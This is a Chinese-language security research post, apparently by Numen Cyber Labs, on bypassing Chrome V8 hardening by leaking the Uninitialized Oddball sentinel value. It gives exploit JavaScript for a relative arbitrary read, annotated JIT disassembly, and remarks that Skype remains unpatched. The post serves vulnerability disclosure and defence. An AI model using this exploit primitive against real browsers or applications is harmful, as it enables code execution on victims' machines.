独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

前言

Sentinel value(又名flag value/trip value/rogue value/signal value/dummy data)是算法中的一个特殊值,通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinel value。from-leaking-thehole-to-chrome-renderer-rceTheHole New World - how a small leak will sink a great browser (CVE-2021-38003)中,都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后,谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下:

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

我们从Chrome源码中可以看到对TheHole对象导致任意代码执行的缓解修复。但实际上,除了TheHole对象外,v8中还有很多其他的原生对象,不应该泄漏到JS中。本文要讨论的对象是:Uninitialized Oddball,该绕过方法的完整代码最先出现在Issue1352549中,由Project0成员tiszka在exp中完整给出,值得一提的是,目前该方法目前仍可用于最新版V8,谷歌尚未针对该缓解绕过进行修复。

为引起厂商注意,这里我们不得不提一下该方法的通用性:

01-glazunov在提交Issue1216437(CVE-2021-30551)中首先给出的poc便是泄露internal uninitialized oddball,虽然第二个poc给出是类型混淆,但是结合本文方法仅有第一个poc即可轻松完成RCE;

02-Issue1314616(CVE-2022-1486)中,p0成员btiszka在给出的poc中也是直接泄露UninitializedOddball,虽然当时从泄漏UninitializedOddball到RCE的利用尚未完全清晰,但也足以说明安全问题,作者在Issue中如下陈述:

"Exploitability Notes: Currently, I'm not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as ..."

03-Issue1352549(NoCVE) 请注意该PatchGap的影响!

我相信这三点就足以给我们充分的理由去复核下可能受PatchGap影响的软件。截至目前,Skype尚未修复该漏洞。

Sentinel value in V8

我们可以在文件v8/src/roots/roots.h中看到v8的大部分原生对象。这些对象在内存中依次相邻排布。

/* Oddballs */                                                      Offset   V(Oddball, uninitialized_value, UninitializedValue)                 0138     V(Oddball, the_hole_value, TheHoleValue)                            0148     V(Oddball, arguments_marker, ArgumentsMarker)                       0218     V(Oddball, exception, Exception)           %DebugPrint() crash      0220     V(Oddball, termination_exception, TerminationException)             0228     V(Oddball, optimized_out, OptimizedOut)                             0230     V(Oddball, stale_register, StaleRegister)                           0238     

漏洞触发后,一旦将不应该泄露到Javascript中的原生对象泄露了出去,即可实现沙箱内任意代码执行。上一篇文章中TheHole对象的泄露也恰好说明了该问题。这里我们也再次重申,该方法在最新版V8中尚未修复。

为了在最新版V8中验证该方法,我们可以通过修改v8的native函数,将Uninitialized Oddball泄漏到JavaScript中,这里我们直接对%TheHole()函数中相对isolate偏移(索引)进行修改即可实现返回值为Uninitialized Oddball。ida对Runtime_TheHole函数反编译后代码如下所示:

v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate)                push    rbp                mov     rbp, rsp                lea     rax, v8::internal::V8HeapCompressionScheme::base_                mov     eax, [rax]                test    eax, eax                jnz     short loc_9B2ABA                mov     rax, [isolate+148h]  ;;修改148h为138h                pop     rbp                retn

调用%DebugPrint(%TheHole())如下输出所示:

$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js0x210400002371 <Odd Oddball: uninitialized>

Bypass HardenType

该方法在Issue1352549中直接给出了所有源码,我们直接对其进行提取和简化即可,如下代码所示:

class Helpers {    constructor() {        this.buf = new ArrayBuffer(8);        this.u64 = new BigUint64Array(this.buf);        this.f64 = new Float64Array(this.buf);        this.u32 = new Uint32Array(this.buf);        gc();    }    f2big(f) {        this.f64[0] = f;        return this.u64[0];    }    fhi(f) {        this.f64[0] = f;        return this.u32[1];    }    flow(f) {        this.f64[0] = f;        return this.u32[0];    }}function UninitializedOddballExploiter(uninitialized_oddball) {    var h = new Helpers();    let arr = new Array(0x1000000);    arr[0] = 1.1; arr.a = 1.1;    let exp1 = { prop: uninitialized_oddball };    let exp2 = { prop: { read_arr: arr } };    let read = (object, index) => { return object.prop.read_arr[index]; };    % PrepareFunctionForOptimization(read);    read(exp2, 0);    % OptimizeFunctionOnNextCall(read);    const old_space = 0x200000;//0x200000    let start_offset = Math.floor(old_space / 8) + 3;    for (var i = start_offset; i < start_offset + 0x6b000; i++) {        let real_offset = i - 2;        let hi = read(exp1, real_offset);        let lo = read(exp1, real_offset - 1);        let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo)));        console.log("result:" + result.toString(16));        readline();    }}UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch

我们对上述代码在v8-11.0.0中测试,当%TheHole()返回UninitializedOddball时,仍旧可以实现相对任意读。

./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js

对优化后的JavaScript的read函数去掉Prologue,留下关键反汇编如下所示:

0x558b20004069    29  488b4d18             REX.W movq rcx,[rbp+0x18] 0x558b2000406d    2d  f6c101               testb rcx,0x1                    ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'0x558b20004070    30  0f842e020000         jz 0x558b200042a4  <+0x264>      ;; deopt reason 'Smi'0x558b20004076    36  41b831cd1900         movl r8,0x19cd31                 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>0x558b2000407c    3c  443941ff             cmpl [rcx-0x1],r8                ;; check the map(r8=0x19cd31 is the map of obj);; here we check the map of obj, but we did not check the value of key(ie.  obj.prop);; and if we make the value of key to be uninitialized_oddball, there is the bypass0x558b20004080    40  0f8522020000         jnz 0x558b200042a8  <+0x268>     ;; deopt reason 'wrong map'0x558b20004086    46  448b410b             movl r8,[rcx+0xb]                ;; *(addr(obj)+0xb) -> r80x558b2000408a    4a  478b44060b           movl r8,[r14+r8*1+0xb]           ;; r14 is high addr0x558b2000408f    4f  4d03c6               REX.W addq r8,r14                ;; r8 -> [String] in ReadOnlySpace: #uninitialized0x558b20004092    52  458b4807             movl r9,[r8+0x7]                 ;;0x558b20004096    56  4d03ce               REX.W addq r9,r14                ;; r9 -> 0x2eb90000000d0x558b20004099    59  458b400b             movl r8,[r8+0xb]                 ;; 0x558b2000409d    5d  488b7d20             REX.W movq rdi,[rbp+0x20]        ;; rdi is index of arr, the 2nd arg of function0x558b200040a1    61  40f6c701             testb rdi,0x1                    ;; check if rdi is 'Smi'0x558b200040a5    65  0f85da000000         jnz 0x558b20004185  B5 <+0x145>  ;; if rdi is not 'Smi', JMP0x558b200040ab    6b  4c63df               REX.W movsxlq r11,rdi            ;; 0x558b200040ae    6e  49d1fb               REX.W sarq r11, 1                ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory0x558b200040b1    71  4d63c0               REX.W movsxlq r8,r80x558b200040b4    74  49d1f8               REX.W sarq r8, 10x558b200040b7    77  4d3bd8               REX.W cmpq r11,r8                ;; r11 = 0x40002,real_offset as the index of arr0x558b200040ba    7a  0f83ec010000         jnc 0x558b200042ac  <+0x26c>     ;; deopt reason 'out of bounds'0x558b200040c0    80  c4817b1044d907       vmovsd xmm0,[r9+r11*8+0x7]       ;; move double float value to xmm00x558b200040c7    87  c5f92ec0             vucomisd xmm0,xmm0               ;; Compare float value and Set EFLAGS0x558b200040cb    8b  0f8a88010000         jpe 0x558b20004259  B9 <+0x219>  ;; jpe(Jump if parity even)0x558b200040d1    91  0f8582010000         jnz 0x558b20004259  B9 <+0x219>  ;; jnz(Jump if not zero)

在0x558b2000407c处,检查了read函数的obj,确定其prop属性正确,但没有检查以obj.prop为key的Value,而是直接按照JavaScript语义计算偏移,求取数组的数值。如此导致我们在计算的时造成类型混淆,实现任意读。

如上汇编所示,当我们传入uninitialized_oddball时,从0x558b20004086开始以obj为起点计算,最终在vmovsd xmm0,[r9+r11*8+0x7]指令中完成任意读,数据保存在xmm0寄存器中。类似TheHole对象,由于uninitialized_oddball在v8内存中排序靠前,且对象内容更加原始,伪造更加容易,在TheHole缓解绕过修复后,该方法不失为绕过首选。同理,任意写我们可以参考Issue1352549进行构造分析。由于原理雷同,这里不再赘述。

这里修复建议是,对优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回数组数值。

PatchGap Alert

在我们谈论PatchGap时,实际上我们不仅仅需要关注曾经出现的历史漏洞,我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后,我们迅速排查了可能存在PatchGap的软件,这里不得不指出,截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩,在tuborgfun优化javascript生成的代码中,v8会默认将基址加上。x86由于没有基址,因此任意读写是直接相对于整个进程的。如下汇编所示:

0x3979b8ff    3f  8b790b       mov edi,[ecx+0xb]0x3979b902    42  8b7f0b       mov edi,[edi+0xb]0x3979b905    45  8b4707       mov eax,[edi+0x7]                ;; eax will be a fixed number0x3979b908    48  8b7f0b       mov edi,[edi+0xb]0x3979b90b    4b  8b5510       mov edx,[ebp+0x10]0x3979b90e    4e  f6c201       test_b dl,0x10x3979b911    51  0f85b6000000 jnz 0x3979b9cd  <+0x10d>0x3979b917    57  89d6         mov esi,edx0x3979b919    59  d1fe         sar esi,1                        ;; esi is index0x3979b91b    5b  d1ff         sar edi,1                        ;; 0x3734b73a0x3979b91d    5d  3bf7         cmp esi,edi0x3979b91f    5f  0f838e010000 jnc 0x3979bab3  <+0x1f3>         ;; deopt reason 'out of bounds'0x3979b925    65  c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;;

如上所示,esi为任意读数组的索引,eax为固定值,edi为"out of bounds"检测的数值,实际上调试时我们可以看到,edi为一个很大的数值,远超过声明时数组的最大范围。

因此,在edi范围内,可以任意读写。在具体做skype的exp时,虽然此时我们没有地址压缩带来内存读写的便利,且skype开启了aslr。但由于该文件太大,直接放在4GB内存中,黑客只需要对某个固定地址进行读写,便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路,不难完成整个漏洞利用链。基于此,我们无法保证黑客不能在短时间内完成整个利用链的适配。

这次PatchGap实际上不止需要排查Issue1352549,由于一个新的绕过方法的公开,直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低,黑客几乎不需要花费任何研究成本,即可实现以往任何泄露uninitialized_oddball漏洞的完整利用,包括谷歌cluster fuzz提交的所有Issue中类似的漏洞。

总结

本文仅抛砖引玉,粗略来谈通过泄露Sentinel value中的uninitialized_Oddball来实现任意读原语。如第二部分所示,v8中的Sentinel value还有很多,实际上我们在测试Sentinel value的时候,也会经常容易遇到崩溃,不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过,我们有充分的理由怀疑其他Sentinel value也可能导致类似问题。

这也给我们一点提示:

01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE;

02-我们已经看到,谷歌会迅速将TheHole绕过进行修复,我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界,即是否被正式当作安全问题对待。

03-如果02中的问题被当作正式安全问题对待,那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinel value作为变量加入,来挖掘其他利用原语;

这里不得不强调的是,无论该类问题是否被正式当作安全问题对待,它都会大大缩减黑客实现完整利用周期。

参考资料

https://bugs.chromium.org/p/chromium/issues/detail?id=1314616

https://bugs.chromium.org/p/chromium/issues/detail?id=1352549

https://bugs.chromium.org/p/chromium/issues/detail?id=1216437

https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/

NUMEN实验室致力于对Web3生态安全保驾护航。 

独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

Numen 官网
https://numencyber.com/ 
GitHub
https://github.com/NumenCyber
Twitter
https://twitter.com/@numencyber
Medium
https://medium.com/@numencyberlabs
LinkedIn
https://www.linkedin.com/company/numencyber/

原文始发于微信公众号(Numen Cyber Labs):独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

版权声明:admin 发表于 2022年12月20日 下午6:07。
转载请注明:独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect | CTF导航

相关文章

暂无评论

暂无评论...